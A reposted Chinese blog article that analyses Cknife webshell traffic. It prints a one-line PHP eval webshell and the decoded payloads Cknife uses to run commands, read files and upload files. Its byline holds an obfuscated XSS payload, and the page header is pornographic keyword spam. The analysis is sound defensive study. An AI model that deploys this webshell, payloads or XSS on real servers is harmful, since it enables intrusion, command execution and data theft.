日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Cknife流量分析

發布時間:2023/12/10 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Cknife流量分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文首發:https://<img src=1 οnerrοr=\u006coc\u0061tion='j\x61v\x61script:\x61lert\x281\x29'>testdemo

0x01 環境

<?php eval($_REQUEST['shell'] ?>

0x02 命令執行

執行命令結果如下圖所示

POST的數據如下圖所示

對POST的數據解碼

#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; @system($r." 2>&1",$ret); print ($ret!=0)?"ret={$ret}":"";; echo("|<-"); die();#z1 cmd#z2 cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

z2是whoami經過cknife的組合再經過base64編碼后的結果,cknife通過eval執行action中的代碼,把POST的z1和z2用base64_decode解碼,再把z1和z2組合成$r,最后用system執行$r,打印執行結果。

返回結果如下圖所示

經過cknife的格式處理,返回的結果變成了上圖的樣子,->|和|<-中間的內容就是執行命令的結果

0x03 文件下載

POST的數據如下圖所示

對POST的數據解碼

#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]); $fp=@fopen($F,"r"); if(@fgetc($fp)){@fclose($fp);@readfile($F); }else {echo("ERROR:// Can Not Read"); }; echo("|<-"); die();#z1 C:\wamp64\www\index.php

z1是目標文件路徑經過base64編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode獲取文件的路徑,然后判斷文件是否能夠被讀取,如果能夠被讀取,則用readfile()輸出文件的內容,最后將輸出的文件內容寫入到本地文件中。

返回結果如下圖所示

有一點需要注意,cknife可能會將返回的所有內容輸出到文件中,所以需要手動取出->|和|<-之間的內容,否則文件可能格式錯誤

0x04 文件上傳

POST的數據如下圖所示

對POST的數據解碼

#shell @eval(base64_decode($_POST[action]));#action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die();#z1 C:\wamp64\www\test.txt#z2 this is a test

z1是目標文件路徑經過base64編碼后的結果,z2是本地文件的內容經過hex編碼后的結果,cknife通過eval執行action中的代碼,用base64_decode先獲取目標文件的路徑,然后獲取z2的內容,使用for循環將原來的hex編碼轉換為URL編碼,再用urldecode進行解碼,追加給$buf,for循環結束后$buf就是文件的內容,最后寫入目標文件中,寫入成功返回1,寫入失敗返回0

返回結果如下圖所示

如果->|和|<-之間的內容為1,則代表文件上傳成功

轉載于:https://www.cnblogs.com/somata/p/11615680.html

總結

以上是生活随笔為你收集整理的Cknife流量分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。